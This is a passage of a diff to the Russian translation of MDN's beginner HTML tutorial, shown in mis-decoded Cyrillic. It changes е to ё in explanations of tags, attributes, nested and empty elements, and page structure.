ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²ΠΊΠ»Π°Π΄Ρ‹Π²Π°Ρ‚ΡŒ ΠΈΠ»ΠΈ ΠΎΠ±ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Ρ‚ΡŒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ части ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ ΠΈΠ»ΠΈ Π΄Π΅ΠΉΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ. ΠžΠ³Ρ€Π°ΠΆΠ΄Π°ΡŽΡ‰ΠΈΠ΅ {{Glossary("tag", "Ρ‚Π΅Π³ΠΈ")}} ΠΌΠΎΠ³ΡƒΡ‚ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ слово ΠΈΠ»ΠΈ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ссылкой Π½Π° Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π΅Ρ‰Ρ‘, ΠΌΠΎΠ³ΡƒΡ‚ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ слова курсивом, ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΡˆΡ€ΠΈΡ„Ρ‚ большС ΠΈΠ»ΠΈ мСньшС ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅. НапримСр, Π²ΠΎΠ·ΡŒΠΌΡ‘ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°:</p>
<pre class="notranslate">Моя кошка ΠΎΡ‡Π΅Π½ΡŒ Ρ€Π°Π·Π΄Ρ€Π°ΠΆΠ΅Π½Π°</pre>
@@ -35,8 +35,8 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics
<p>Π“Π»Π°Π²Π½Ρ‹ΠΌΠΈ частями нашСго элСмСнта ΡΠ²Π»ΡΡŽΡ‚ΡΡ:</p>
<ol>
- <li><strong>ΠžΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ‚Π΅Π³ (Opening tag)</strong>: Бостоит ΠΈΠ· имСни элСмСнта (Π² Π΄Π°Π½Π½ΠΎΠΌ случаС, "p"), Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΠΎΠ³ΠΎ Π² ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ ΠΈ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ <strong>ΡƒΠ³Π»ΠΎΠ²Ρ‹Π΅ скобки</strong>.Β  ΠžΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ‚Π΅Π³Β ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Π³Π΄Π΅ элСмСнт начинаСтся ΠΈΠ»ΠΈ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ Π΄Π΅ΠΉΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ, Π² Π΄Π°Π½Π½ΠΎΠΌ случаС β€” Π³Π΄Π΅ начинаСтся Π°Π±Π·Π°Ρ†.</li>
- <li><strong>Π—Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ‚Π΅Π³ (Closing tag):</strong> Π­Ρ‚ΠΎ Ρ‚ΠΎ ΠΆΠ΅ самоС, Ρ‡Ρ‚ΠΎ ΠΈ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ‚Π΅Π³, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя ΠΊΠΎΡΡƒΡŽ Ρ‡Π΅Ρ€Ρ‚Ρƒ ΠΏΠ΅Ρ€Π΅Π΄ ΠΈΠΌΠ΅Π½Π΅ΠΌ элСмСнта. Π—Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ элСмСнт ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Π³Π΄Π΅ элСмСнт заканчиваСтся, Π² Π΄Π°Π½Π½ΠΎΠΌ случаС β€” Π³Π΄Π΅ заканчиваСтся Π°Π±Π·Π°Ρ†. ΠžΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΠΈΠ΅ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ Ρ‚Π΅Π³Π° являСтся ΠΎΠ΄Π½ΠΎΠΉ ΠΈΠ· Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнных ошибок Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰ΠΈΡ… ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΊ странным Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°ΠΌ.</li>
+ <li><strong>ΠžΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ‚Π΅Π³ (Opening tag)</strong>: Бостоит ΠΈΠ· имСни элСмСнта (Π² Π΄Π°Π½Π½ΠΎΠΌ случаС, "p"), Π·Π°ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½ΠΎΠ³ΠΎ Π² ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ ΠΈ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ <strong>ΡƒΠ³Π»ΠΎΠ²Ρ‹Π΅ скобки</strong>.Β  ΠžΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ‚Π΅Π³Β ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Π³Π΄Π΅ элСмСнт начинаСтся ΠΈΠ»ΠΈ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ Π΄Π΅ΠΉΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ, Π² Π΄Π°Π½Π½ΠΎΠΌ случаС β€” Π³Π΄Π΅ начинаСтся Π°Π±Π·Π°Ρ†.</li>
+ <li><strong>Π—Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ‚Π΅Π³ (Closing tag):</strong> Π­Ρ‚ΠΎ Ρ‚ΠΎ ΠΆΠ΅ самоС, Ρ‡Ρ‚ΠΎ ΠΈ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ‚Π΅Π³, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя ΠΊΠΎΡΡƒΡŽ Ρ‡Π΅Ρ€Ρ‚Ρƒ ΠΏΠ΅Ρ€Π΅Π΄ ΠΈΠΌΠ΅Π½Π΅ΠΌ элСмСнта. Π—Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ элСмСнт ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Π³Π΄Π΅ элСмСнт заканчиваСтся, Π² Π΄Π°Π½Π½ΠΎΠΌ случаС β€” Π³Π΄Π΅ заканчиваСтся Π°Π±Π·Π°Ρ†. ΠžΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΠΈΠ΅ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ Ρ‚Π΅Π³Π° являСтся ΠΎΠ΄Π½ΠΎΠΉ ΠΈΠ· Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространённых ошибок Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰ΠΈΡ… ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΊ странным Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°ΠΌ.</li>
<li><strong>ΠšΠΎΠ½Ρ‚Π΅Π½Ρ‚ (Content)</strong>: Π­Ρ‚ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ элСмСнта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π² Π΄Π°Π½Π½ΠΎΠΌ случаС являСтся просто тСкстом.</li>
<li><strong>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚(Element)</strong>: ΠžΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ‚Π΅Π³,Β Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ‚Π΅Π³ ΠΈ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ вмСстС ΡΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ элСмСнт.</li>
</ol>
@@ -52,7 +52,7 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics
<ol>
<li>ΠŸΡ€ΠΎΠ±Π΅Π» ΠΌΠ΅ΠΆΠ΄Ρƒ Π½ΠΈΠΌ ΠΈ ΠΈΠΌΠ΅Π½Π΅ΠΌ элСмСнта (ΠΈΠ»ΠΈ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ, Ссли элСмСнт ΡƒΠΆΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½ ΠΈΠ»ΠΈ нСсколько Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ²).</li>
<li>Имя Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ слСдуСт знак равСнства.</li>
- <li>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°, Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΠΎΠ΅ с Π΄Π²ΡƒΡ… сторон Π² ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ.</li>
+ <li>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°, Π·Π°ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½ΠΎΠ΅ с Π΄Π²ΡƒΡ… сторон Π² ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ.</li>
</ol>
<h3 id="Π’Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅_элСмСнты">Π’Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅ элСмСнты</h3>
@@ -61,7 +61,7 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics
<pre class="brush: html notranslate">&lt;p&gt;Моя кошка &lt;strong&gt;ΠΎΡ‡Π΅Π½ΡŒ&lt;/strong&gt; Ρ€Π°Π·Π΄Ρ€Π°ΠΆΠ΅Π½Π°.&lt;/p&gt;</pre>
-<p>Π’Ρ‹, ΠΎΠ΄Π½Π°ΠΊΠΎ, Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ ваши элСмСнты ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ Π²Π»ΠΎΠΆΠ΅Π½Ρ‹: Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅ ΠΌΡ‹ ΠΎΡ‚ΠΊΡ€Ρ‹Π»ΠΈ ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ элСмСнт {{htmlelement("p")}}, Π·Π°Ρ‚Π΅ΠΌ элСмСнт {{htmlelement("strong")}}, ΠΏΠΎΡ‚ΠΎΠΌ ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π·Π°ΠΊΡ€Ρ‹Ρ‚ΡŒ сначала элСмСнт {{htmlelement("strong")}}, Π·Π°Ρ‚Π΅ΠΌ {{htmlelement("p")}}. ΠŸΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠ΅ Π½ΠΈΠΆΠ΅ Π½Π΅Π²Π΅Ρ€Π½ΠΎ:</p>
+<p>Π’Ρ‹, ΠΎΠ΄Π½Π°ΠΊΠΎ, Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ ваши элСмСнты ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ Π²Π»ΠΎΠΆΠ΅Π½Ρ‹: Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅ ΠΌΡ‹ ΠΎΡ‚ΠΊΡ€Ρ‹Π»ΠΈ ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ элСмСнт {{htmlelement("p")}}, Π·Π°Ρ‚Π΅ΠΌ элСмСнт {{htmlelement("strong")}}, ΠΏΠΎΡ‚ΠΎΠΌ ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π·Π°ΠΊΡ€Ρ‹Ρ‚ΡŒ сначала элСмСнт {{htmlelement("strong")}}, Π·Π°Ρ‚Π΅ΠΌ {{htmlelement("p")}}. ΠŸΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠ΅ Π½ΠΈΠΆΠ΅ Π½Π΅Π²Π΅Ρ€Π½ΠΎ:</p>
<pre class="example-bad brush: html notranslate">&lt;p&gt;Моя кошка &lt;strong&gt;ΠΎΡ‡Π΅Π½ΡŒ Ρ€Π°Π·Π΄Ρ€Π°ΠΆΠ΅Π½Π°.&lt;/p&gt;&lt;/strong&gt;</pre>
@@ -69,7 +69,7 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics
<h3 id="ΠŸΡƒΡΡ‚Ρ‹Π΅_элСмСнты">ΠŸΡƒΡΡ‚Ρ‹Π΅ элСмСнты</h3>
-<p>НСкоторыС элСмСнты Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΈ Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ <strong>пустыми элСмСнтами</strong>. Π’ΠΎΠ·ΡŒΠΌΠ΅ΠΌΒ  элСмСнт {{htmlelement("img")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡƒΠΆΠ΅ имССтся Π² нашСм HTML:</p>
+<p>НСкоторыС элСмСнты Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΈ Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ <strong>пустыми элСмСнтами</strong>. Π’ΠΎΠ·ΡŒΠΌΡ‘ΠΌΒ  элСмСнт {{htmlelement("img")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡƒΠΆΠ΅ имССтся Π² нашСм HTML:</p>
<pre class="brush: html notranslate">&lt;img src="images/firefox-icon.png" alt="ΠœΠΎΡ‘ тСстовоС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅"&gt;</pre>
@@ -77,7 +77,7 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics
<h3 id="Анатомия_HTML_Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°">Анатомия HTML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°</h3>
-<p>ΠœΡ‹ Π·Π°Π²Π΅Ρ€ΡˆΠΈΠ»ΠΈ ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅ основ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… HTML элСмСнтов, Π½ΠΎ ΠΎΠ½ΠΈ Π½Π΅ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ сами ΠΏΠΎ сСбС. Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ посмотрим, ΠΊΠ°ΠΊ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ элСмСнты ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΡΡŽΡ‚ΡΡ Π² Ρ†Π΅Π»ΡƒΡŽ HTML страницу. Π”Π°Π²Π°ΠΉΡ‚Π΅ вСрнСмся ΠΊ ΠΊΠΎΠ΄Ρƒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ записывали Π² наш <code>index.html</code> (с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΠΌΡ‹ Π²ΠΏΠ΅Ρ€Π²Ρ‹Π΅ Π²ΡΡ‚Ρ€Π΅Ρ‚ΠΈΠ»ΠΈΡΡŒ Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅ <a href="/ru/Learn/Getting_started_with_the_web/Dealing_with_files">Π Π°Π±ΠΎΡ‚Π° с Ρ„Π°ΠΉΠ»Π°ΠΌΠΈ</a>):</p>
+<p>ΠœΡ‹ Π·Π°Π²Π΅Ρ€ΡˆΠΈΠ»ΠΈ ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅ основ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… HTML элСмСнтов, Π½ΠΎ ΠΎΠ½ΠΈ Π½Π΅ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ сами ΠΏΠΎ сСбС. Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ посмотрим, ΠΊΠ°ΠΊ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ элСмСнты ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΡΡŽΡ‚ΡΡ Π² Ρ†Π΅Π»ΡƒΡŽ HTML страницу. Π”Π°Π²Π°ΠΉΡ‚Π΅ вСрнёмся ΠΊ ΠΊΠΎΠ΄Ρƒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ записывали Π² наш <code>index.html</code> (с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΠΌΡ‹ Π²ΠΏΠ΅Ρ€Π²Ρ‹Π΅ Π²ΡΡ‚Ρ€Π΅Ρ‚ΠΈΠ»ΠΈΡΡŒ Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅ <a href="/ru/Learn/Getting_started_with_the_web/Dealing_with_files">Π Π°Π±ΠΎΡ‚Π° с Ρ„Π°ΠΉΠ»Π°ΠΌΠΈ</a>):</p>
<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
&lt;html&gt;
@@ -93,12 +93,12 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics
<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ ΠΈΠΌΠ΅Π΅ΠΌ:</p>
<ul>
- <li><code>&lt;!DOCTYPE html&gt;</code> β€” Π΄ΠΎΠΊΡ‚Π°ΠΉΠΏ. Π’ ΠΏΡ€ΠΎΡˆΠ»ΠΎΠΌ, ΠΊΠΎΠ³Π΄Π° HTML Π±Ρ‹Π» ΠΌΠΎΠ»ΠΎΠ΄ (ΠΎΠΊΠΎΠ»ΠΎ 1991/1992), Π΄ΠΎΠΊΡ‚Π°ΠΉΠΏΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Π»ΠΈ Π²Ρ‹ΡΡ‚ΡƒΠΏΠ°Ρ‚ΡŒ Π² качСствС ссылки Π½Π° Π½Π°Π±ΠΎΡ€ ΠΏΡ€Π°Π²ΠΈΠ», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ HTML страница Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Π»Π° ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒΡΡ Ρ…ΠΎΡ€ΠΎΡˆΠΈΠΌ HTML, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠ³Π»ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Ρ‚ΡŒ Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ ошибок ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Π΅ Π²Π΅Ρ‰ΠΈ. Однако Π² наши Π΄Π½ΠΈ, Π½ΠΈΠΊΡ‚ΠΎ Π½Π΅ заботится ΠΎΠ± этом, ΠΈ ΠΎΠ½ΠΈ Π½Π° самом Π΄Π΅Π»Π΅ просто историчСский Π°Ρ€Ρ‚Π΅Ρ„Π°ΠΊΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π±Ρ‹ всС Ρ€Π°Π±ΠΎΡ‚Π°Π»ΠΎ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ. На Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ это всС, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ.</li>
+ <li><code>&lt;!DOCTYPE html&gt;</code> β€” Π΄ΠΎΠΊΡ‚Π°ΠΉΠΏ. Π’ ΠΏΡ€ΠΎΡˆΠ»ΠΎΠΌ, ΠΊΠΎΠ³Π΄Π° HTML Π±Ρ‹Π» ΠΌΠΎΠ»ΠΎΠ΄ (ΠΎΠΊΠΎΠ»ΠΎ 1991/1992), Π΄ΠΎΠΊΡ‚Π°ΠΉΠΏΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Π»ΠΈ Π²Ρ‹ΡΡ‚ΡƒΠΏΠ°Ρ‚ΡŒ Π² качСствС ссылки Π½Π° Π½Π°Π±ΠΎΡ€ ΠΏΡ€Π°Π²ΠΈΠ», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ HTML страница Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Π»Π° ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒΡΡ Ρ…ΠΎΡ€ΠΎΡˆΠΈΠΌ HTML, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠ³Π»ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Ρ‚ΡŒ Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ ошибок ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Π΅ Π²Π΅Ρ‰ΠΈ. Однако Π² наши Π΄Π½ΠΈ, Π½ΠΈΠΊΡ‚ΠΎ Π½Π΅ заботится ΠΎΠ± этом, ΠΈ ΠΎΠ½ΠΈ Π½Π° самом Π΄Π΅Π»Π΅ просто историчСский Π°Ρ€Ρ‚Π΅Ρ„Π°ΠΊΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π±Ρ‹ всС Ρ€Π°Π±ΠΎΡ‚Π°Π»ΠΎ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ. На Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ это всС, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ.</li>
<li><code>&lt;html&gt;&lt;/html&gt;</code> β€” элСмСнт {{htmlelement("html")}}.Β Π­Ρ‚ΠΎΡ‚ элСмСнт ΠΎΠ±ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Π΅Ρ‚ вСсь ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π½Π° всСй страницС, ΠΈ ΠΈΠ½ΠΎΠ³Π΄Π° извСстСн ΠΊΠ°ΠΊ ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠΉ элСмСнт.</li>
<li><code>&lt;head&gt;&lt;/head&gt;</code> β€” элСмСнт {{htmlelement("head")}}.Β Π­Ρ‚ΠΎΡ‚ элСмСнт выступаСт Π² качСствС ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° для всСго, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΏΠΎΠΆΠ΅Π»Π°Π΅Ρ‚Π΅ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π½Π° HTML страницу, Π½ΠΎ<em> Π½Π΅ ΡΠ²Π»ΡΡŽΡ‰Π΅Π³ΠΎΡΡ </em>ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ вашСй страницы. К Π½ΠΈΠΌ относятся Ρ‚Π°ΠΊΠΈΠ΅ Π²Π΅Ρ‰ΠΈ, ΠΊΠ°ΠΊ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова ΠΈ описаниС страницы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠΎΡΠ²Π»ΡΡ‚ΡŒΡΡ Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°Ρ… поиска, CSS стили нашСго ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠ° ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠ΅ Π΄Ρ€ΡƒΠ³ΠΎΠ΅.</li>
<li><code>&lt;body&gt;&lt;/body&gt;</code> β€” элСмСнт {{htmlelement("body")}}. Π’ Π½Π΅ΠΌ содСрТится <em>вСсь</em> ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ΠΈ ΠΏΠΎΡΠ΅Ρ‰Π°ΡŽΡ‚ Π²Π°ΡˆΡƒ страницу, Π±ΡƒΠ΄ΡŒ Ρ‚ΠΎ тСкст, изобраТСния, Π²ΠΈΠ΄Π΅ΠΎ, ΠΈΠ³Ρ€Ρ‹, ΠΏΡ€ΠΎΠΈΠ³Ρ€Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ Π°ΡƒΠ΄ΠΈΠΎΠ΄ΠΎΡ€ΠΎΠΆΠΊΠΈ ΠΈΠ»ΠΈ 